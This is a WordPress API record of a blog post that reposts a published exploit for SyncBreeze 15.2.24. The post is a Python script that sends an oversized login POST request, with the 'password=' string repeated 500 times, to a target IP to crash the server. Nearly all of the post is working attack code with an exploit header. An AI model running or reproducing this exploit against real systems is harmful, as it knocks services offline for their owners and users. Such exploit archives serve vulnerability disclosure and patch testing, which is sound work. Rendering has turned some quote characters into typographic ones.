{"id":48089,"date":"2023-09-09T14:56:13","date_gmt":"2023-09-09T10:56:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/174558\/syncbreeze15224-dos.txt"},"modified":"2023-09-17T13:37:31","modified_gmt":"2023-09-17T09:07:31","slug":"syncbreeze-15-2-24-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/syncbreeze-15-2-24-denial-of-service\/","title":{"rendered":"SyncBreeze 15.2.24 Denial Of Service"},"content":{"rendered":"
# Exploit Title: SyncBreeze 15.2.24 -'login' Denial of Service\r\n# Date: 30\/08\/2023\r\n# Exploit Author: mohamed youssef\r\n# Vendor Homepage: https:\/\/www.syncbreeze.com\/\r\n# Software Link: https:\/\/www.syncbreeze.com\/setups\/syncbreeze_setup_v15.4.32.exe\r\n# Version: 15.2.24\r\n# Tested on: windows 10 64-bit\r\nimport socket\r\nimport time<\/code><\/pre>\n
pyload=”username=admin&password=”+’password=’*500+””
\nrequest=””
\nrequest+=”POST \/login HTTP\/1.1\\r\\n”
\nrequest+=”Host: 192.168.217.135\\r\\n”
\nrequest+=”User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\\r\\n”
\nrequest+=”Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\r\\n”
\nrequest+=”Accept-Language: en-US,en;q=0.5\\r\\n”
\nrequest+=”Accept-Encoding: gzip, deflate\\r\\n”
\nrequest+=”Content-Type: application\/x-www-form-urlencoded\\r\\n”
\nrequest+=”Content-Length: “+str(len(pyload))+”\\r\\n”
\nrequest+=”Origin: http:\/\/192.168.217.135\\r\\n”
\nrequest+=”Connection: keep-alive\\r\\n”
\nrequest+=”Referer: http:\/\/192.168.217.135\/login\\r\\n”
\nrequest+=”Upgrade-Insecure-Requests: 1\\r\\n”
\nrequest+=”\\r\\n”
\nrequest+=pyload<\/p>\n
<\/code><\/pre>\n
print (request)
\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
\ns.connect((“192.168.217.135”,80))
\ns.send(request.encode())
\nprint (s.recv(1024))
\ns.close()
\ntime.sleep(5)<\/p>\n
<\/code><\/pre>\n
 <\/p>\n
<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: SyncBreeze 15.2.24 -‘login’ Denial of Service # Date: 30\/08\/2023 # Exploit Author: mohamed youssef # Vendor Homepage: https:\/\/www.syncbreeze.com\/ # Software Link: https:\/\/www.syncbreeze.com\/setups\/syncbreeze_setup_v15.4.32.exe # Version: 15.2.24 # Tested on: windows 10 64-bit import socket import time pyload=”username=admin&password=”+’password=’*500+”” request=”” request+=”POST \/login HTTP\/1.1\\r\\n” request+=”Host: 192.168.217.135\\r\\n” request+=”User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\\r\\n” request+=”Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\r\\n” …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-48089","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/48089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=48089"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/48089\/revisions"}],"predecessor-version":[{"id":48328,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/48089\/revisions\/48328"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=48089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=48089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=48089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}